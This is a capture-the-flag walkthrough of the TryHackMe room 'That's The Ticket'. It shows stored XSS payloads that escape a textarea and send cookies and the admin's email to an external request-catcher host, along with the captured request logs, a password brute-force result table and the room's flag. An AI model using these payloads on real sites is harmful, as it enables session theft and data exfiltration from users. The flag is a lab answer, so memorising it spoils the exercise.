

That's The Ticket

That's The Ticket

<https://tryhackme.com/room/thatstheticket>

Go to page http and create account

register

Register

Email

Password (6 or more characters)

Confirm Password

Login

Register

Create session on 10.10.10.100

Try to send payloads. This one works, I must escape from textarea, to run my script

```
</textarea><script>var i=new  
Image;i.src="534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech/?"+document.cookie;  
</script>
```

Listening for requests for the below domain

534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech

ng as the domain ends in 534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech you can catch other domain results for example:

- **str**534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech
- **str**-534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech
- **str**.534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech
- **str.str**.534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech

HTTP 4 Dec 2023 15:30:31 UTC	<div>We received the following HTTP Request:</div> <hr/> <div>GET /? HTTP/1.1 Host: 534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech Referer: http://10.10.201.7/ Connection: keep-alive Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Accept: image/avif,image/webp,*/* User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0</div> <hr/> <div>Request received @ 4 Dec 2023 15:30:31 UTC from IP 10.18.88.130</div>
HTTP 4 Dec 2023 15:30:23 UTC	
HTTP 4 Dec 2023 15:30:04 UTC	
DNS 4 Dec 2023 15:30:04 UTC	
DNS 4 Dec 2023 15:30:04 UTC	

The first question is about supports email adres, so I try to see how to show my email first

```
</textarea><script>var i=new  
Image;i.src="http://534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech/?"+document.  
getElementById('email').innerText;</script>
```

And here is my email

as long as the domain ends in 534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech

- **str**534e63f91d3b362183d97ab60e23b1a7.log.tryl
- **str**-534e63f91d3b362183d97ab60e23b1a7.log.tryl
- **str**.534e63f91d3b362183d97ab60e23b1a7.log.tryl
- **str.str**.534e63f91d3b362183d97ab60e23b1a7.log.tr

HTTP 4 Dec 2023 15:42:10 UTC	<div>We received the following HTTP Request:</div> <hr/> <div>GET /?test@test.com HTTP/1.1 Host: 534e63f91d3b362183d97ab60e23b1a7.log.t Referer: http://10.10.201.7/ Connection: keep-alive Accept-Encoding: gzip, deflate Accept-Language: en-US,en;q=0.5 Accept: image/avif,image/webp,*/*</div>
DNS 4 Dec 2023 15:42:10 UTC	
HTTP 4 Dec 2023 15:30:31 UTC	

```
</textarea><script>  
var x=document.getElementById('email').innerHTML.split("@")[0];  
var y=document.getElementById('email').innerHTML.split("@")[1];  
var mail = "http://test." + x + "." + y +  
"534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech";  
new Image().src = mail;  
</script>
```

Payload to steal email. I split the "@" symbol, so now I return him)

4 Dec 2023 15:56:00 UTC	<div>We received a DNS lookup with type: A for the domain: test.adminaccount.itsupport.thm534e63f91d3b362183d97ab60e23b1a7.log.tryhackme.tech</div> <div>The Lookup was requested @ 4 Dec 2023 15:56:00 UTC from IP 3.251.95.122</div>
DNS 4 Dec 2023 15:56:00 UTC	
HTTP 4 Dec 2023 15:42:10 UTC	
DNS 4 Dec 2023 15:42:10 UTC	
HTTP	

adminaccount@itsupport.thm

Password found

I create an intruder attack

6	liverpool	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
7	justin	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
8	loveme	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
9	fuckyou	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
0	123123	302	<input type="checkbox"/>	<input type="checkbox"/>	310
1	football	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
2	secret	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
3	andrea	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
4	carlos	401	<input type="checkbox"/>	<input type="checkbox"/>	1880
5	jennifer	401	<input type="checkbox"/>	<input type="checkbox"/>	1880

After log in I got the flag

View Ticket

Tickets ID: 1

From: user@acmecorp.thm

Message:

Hey, can you change my password to
THM{6804f45260135ec8418da2d906328473}

Back To Dashboard